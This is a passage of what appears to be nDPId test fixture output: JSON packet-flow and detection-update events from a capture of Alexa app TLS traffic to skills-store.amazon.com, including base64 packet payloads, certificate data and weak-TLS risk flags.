IFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAMJuWvUYLSQ3sYCoWOsBqYtkf\/ko1GhTo5gNupiDsn+IgyuHoy4nKuZaSrYNFgoeo2FjedkWNhnFLW30u+UlkI\/WsY5Q52jq4whsQvbJG8+DPpZIdtc6nvl4qPL3EtlOXDVH4Kri+qlwwzdfFhWM3czMmLnBvlCUNq4JBqrvhmA3KF9qj7Wjwy5JVCsia2zuN\/X0zGerui2uwu5O4+4yVRP80x8mfsnUXusXD+hsYHeDwkYPFSKl6XIXtq3usyX8YcpYtOhR\/uF6aqIHWpFwE2\/CT3GQYiDmcFGlMFD5rvfyShw16+6g6q790O1FZfOvT39+SOIypcukxZXDU05O5RwAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHI="} +02084{"flow_id":106,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1679,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":577887,"pkt_caplen":1289,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1289,"pkt_l4_len":1255,"pkt":"ePiC0\/vCAMDKkVoBCABFAAT7tZJAAOcGrZU27x39rBAq2AG7n5aOPbMgI6CFn1AYf\/kOBQAAdXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxw4AAAA="} +01181{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1679,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":106,"flow_packet_id":6,"flow_first_seen":1490976107365,"flow_last_seen":1490976107577,"flow_tot_l4_data_len":3054,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":509,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40854,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"skills-store.amazon.com","server_names":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=skills-store.amazon.com","alpn":"h2,http\/1.1","fingerprint":"2A:40:0E:E9:9A:EC:7C:0D:40:AA:C9:C5:66:67:00:B8:3E:90:DC:B2"}} +00417{"flow_id":106,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1680,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":580608,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo7I5AAEAGIm2sECrYNu8d\/Z+WAbsjoIWfjj2zIFAQAWL2rgAA"} +00417{"flow_id":106,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1681,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":580911,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo7I9AAEAGImysECrYNu8d\/Z+WAbsjoIWfjj2381AQAW3x0AAA"} +00862{"flow_id":106,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1682,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":582777,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AMDKkaPvePiC0\/vCCABFAAFu7JBAAEAGISWsECrYNu8d\/Z+WAbsjoIWfjj2381AYAW2XcwAAFgMBAQYQAAECAQBgoQADUI8019hRClpG8zqavggjSqMJh7eOjSLDTeMMyPvb9gR2fCggHaiZWDb+8wp2t1P0M5XFtoxDe85MN4jDf17P1MiAf9d6Xah\/LPbfMQAHcSE2qLFNz1gGoY\/fXDToKxM9QOmhoV4M5qYgmQKtyBsuJShKB1nJIxbjcjq2XTpTF8pFEC5B\/4p5JqQl\/hR8Ta+DfaT\/79nuUXnsk1M7g5uzcd6iKOM+dwf5+QPZYdHJeizij6VY4Ov66AHOLj7UOzcq0VFClVCC4Sci2dFLTKBFHdJBbZfFrWLN7TSHsiOi7z43rRsZ0mF5vrh1eGZpXPTvv\/+2RwXIkLw9eqFJFAMBAAEBFgMBADCVQH9tHiBs52blypWy+sd+wRGDedbbtpVn3c+iTkU5SozGomy8Ul3dMW4VPX+6gUQ="} +00416{"flow_id":101,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1687,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":604245,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoEglAAEAGAjasECrYNu8YuoUZAbtS0XeSdXvoNlARAVfZAAAA"} +02384{"flow_id":105,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1688,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":622009,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXceiNAAOcG6CM27x39rBAq2AG7n5UJgL2alioN7FAYf\/kCtwAAFgMBCoICAABGAwFY3n1rpjCd4gua8GAnC04JFSskbFWWAA6z2HQGVr9B9iDAfW4EfsMQSa+tstNwiZkUQ2AHrzt9OdfZI4dRl7BlqwAvAAsACjAACi0ABOswggTnMIIDz6ADAgECAhA0Qbe7gak5NwZ8R7riI\/gSMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYwNTE0MDAwMDAwWhcNMTcwNTE1MjM1OTU5WjBxMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEgMB4GA1UEAwwXc2tpbGxzLXN0b3JlLmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2Ae\/8bgpr5OT5\/RUtaQE+q8wE+dsD8nkwfLZqRQzjHJjtegSGks2UzorWQFjWLtG+i256c+CUJ1vhl+EHtTJZ4pFArm7qohc9RDPXtDwDQu18ZpRPvjmPS4TSA8nOK8r9xaX32HNCvTyderUUV1a0NNUIFpK+6LcIjbyGcyCaP\/FJoXT9nbIop+WM\/EKfFsl1CZWkXMot1hRn5sGz2p1s6jZXPOZOTnhZn+CIRXXyMbeIbCppJEhu1Mh3xOBhHGaQTS5iR+rFBoS27FGONZDnloMZn3fHoaN7SAvLzGU4FtqSO4B4tBauIUyFzQYO6iaZJD\/vbuhgO0BQjfmPbkX5AgMBAAGjggFsMIIBaDAiBgNVHREEGzAZghdza2lsbHMtc3RvcmUuYW1hem9uLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAMJuWvUYLSQ3sYCoWOsBqYtkf\/ko1GhTo5gNupiDsn+IgyuHoy4nKuZaSrYNFgoeo2FjedkWNhnFLW30u+UlkI\/WsY5Q52jq4whsQvbJG8+DPpZIdtc6nvl4qPL3EtlOXDVH4Kri+qlwwzdfFhWM3czMmLnBvlCUNq4JBqrvhmA3KF9qj7Wjwy5JVCsia2zuN\/X0zGerui2uwu5O4+4yVRP80x8mfsnUXusXD+hsYHeDwkYPFSKl6XIXtq3usyX8YcpYtOhR\/uF6aqIHWpFwE2\/CT3GQYiDmcFGlMFD5rvfyShw16+6g6q790O1FZfOvT39+SOIypcukxZXDU05O5RwAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHI="} +02084{"flow_id":105,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1689,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":622246,"pkt_caplen":1289,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1289,"pkt_l4_len":1255,"pkt":"ePiC0\/vCAMDKkVoBCABFAAT7eiVAAOcG6QI27x39rBAq2AG7n5UJgMNOlioN7FAYf\/mHvgAAdXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxw4AAAA="} +01181{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1689,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":105,"flow_packet_id":6,"flow_first_seen":1490976107365,"flow_last_seen":1490976107622,"flow_tot_l4_data_len":3054,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":509,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40853,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"skills-store.amazon.com","server_names":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=skills-store.amazon.com","alpn":"h2,http\/1.1","fingerprint":"2A:40:0E:E9:9A:EC:7C:0D:40:AA:C9:C5:66:67:00:B8:3E:90:DC:B2"}} +00417{"flow_id":105,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1690,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":623617,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZVtAAEAGqaCsECrYNu8d\/Z+VAbuWKg3sCYDDTlAQAWJwaAAA"} +00417{"flow_id":105,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1691,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":623865,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZVxAAEAGqZ+sECrYNu8d\/Z+VAbuWKg3sCYDIIVAQAW1rigAA"} +02384{"flow_id":108,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1692,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":625210,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXczPJAAOcGlVQ27x39rBAq2AG7n5iFQQi9Vi4W1FAYf\/lWXQAAFgMBCoICAABGAwFY3n1rqVW5nc7pK0t8Q96UIvIibG3NJ3jfQ0jSHhJUvSBtDRI0q2icP6fVqlksmygn0U781lDdxNdezB5jmLBlqwAvAAsACjAACi0ABOswggTnMIIDz6ADAgECAhA0Qbe7gak5NwZ8R7riI\/gSMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYwNTE0MDAwMDAwWhcNMTcwNTE1MjM1OTU5WjBxMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEgMB4GA1UEAwwXc2tpbGxzLXN0b3JlLmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2Ae\/8bgpr5OT5\/RUtaQE+q8wE+dsD8nkwfLZqRQzjHJjtegSGks2UzorWQFjWLtG+i256c+CUJ1vhl+EHtTJZ4pFArm7qohc9RDPXtDwDQu18ZpRPvjmPS4TSA8nOK8r9xaX32HNCvTyderUUV1a0NNUIFpK+6LcIjbyGcyCaP\/FJoXT9nbIop+WM\/EKfFsl1CZWkXMot1hRn5sGz2p1s6jZXPOZOTnhZn+CIRXXyMbeIbCppJEhu1Mh3xOBhHGaQTS5iR+rFBoS27FGONZDnloMZn3fHoaN7SAvLzGU4FtqSO4B4tBauIUyFzQYO6iaZJD\/vbuhgO0BQjfmPbkX5AgMBAAGjggFsMIIBaDAiBgNVHREEGzAZghdza2lsbHMtc3RvcmUuYW1hem9uLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAMJuWvUYLSQ3sYCoWOsBqYtkf\/ko1GhTo5gNupiDsn+IgyuHoy4nKuZaSrYNFgoeo2FjedkWNhnFLW30u+UlkI\/WsY5Q52jq4whsQvbJG8+DPpZIdtc6nvl4qPL3EtlOXDVH4Kri+qlwwzdfFhWM3czMmLnBvlCUNq4JBqrvhmA3KF9qj7Wjwy5JVCsia2zuN\/X0zGerui2uwu5O4+4yVRP80x8mfsnUXusXD+hsYHeDwkYPFSKl6XIXtq3usyX8YcpYtOhR\/uF6aqIHWpFwE2\/CT3GQYiDmcFGlMFD5rvfyShw16+6g6q790O1FZfOvT39+SOIypcukxZXDU05O5RwAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHI="} +02084{"flow_id":108,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1693,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976107,"pkt_ts_usec":625580,"pkt_caplen":1289,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1289,"pkt_l4_len":1255,"pkt":"ePiC0\/vCAMDKkVoBCABFAAT7zPRAAOcGljM27x39rBAq2AG7n5iFQQ5xVi4W1FAYf\/n36wAAdXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxw4AAAA="} +01181{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1693,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":108,"flow_packet_id":6,"flow_first_seen":1490976107455,"flow_last_seen":1490976107625,"flow_tot_l4_data_len":3054,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":509,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40856,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"skills-store.amazon.com","server_names":"skills-store.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=skills-store.amazon.com","alpn":"h2,http\/1.1","fingerprint":"2A:40:0E:E9:9A:EC:7C:0D:40:AA:C9:C5:66:67:00:B8:3E:90:DC:B2"}} 